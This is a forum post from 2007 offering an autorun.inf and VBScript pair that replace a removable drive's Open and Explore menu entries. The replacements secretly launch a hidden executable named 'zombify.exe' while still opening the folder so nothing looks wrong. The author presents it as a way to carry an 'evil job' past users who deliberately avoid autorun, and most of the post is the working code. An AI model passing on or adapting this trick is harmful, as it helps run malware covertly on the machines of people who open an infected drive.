Hook5 Posted October 19, 2007 Share Posted October 19, 2007 Don't know if this is common knowledge, but here are some example Autorun entries that you might find interesting... [autorun] open=wscript.exe Autorun.vbs shellOpen=Open shellOpencommand=wscript.exe Autorun.vbe shellExplore=Explore shellExplorecommand=wscript.exe Autorun.vbe /e autorun.vbe: Dim sh, fso, CD, oArgs, sArg Set sh = CreateObject("WScript.shell") Set fso = CreateObject("scripting.filesystemobject") Set oArgs = wscript.arguments If oArgs.count > 0 Then sArg = oArgs(0) CD = fso.GetParentFolderName(WScript.ScriptFullName) & "" sh.run "explorer.exe " & sArg & "," & CD,1,FALSE ' <-- fso.GetParentFolderName(CD) takes you one dir back if you strore the autorun.vbe in a folder sh.run "zombify.exe",0,TRUE ' <-- adapt this part to suit your needs The shell lines in the autorun file will replace the "open" and "explore" selections from the context menu with something that behaves similar, but also carries an evil job. There are now only two ways left that the content can be explored without the evil payload being run... 1. Typing the exact path in start - run etc. 2. The "Open this folder" selection from the autoplay action list. Most people that don't want to execute autorun will use the context menu to open or explore the drive, and now you got those users as well... Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.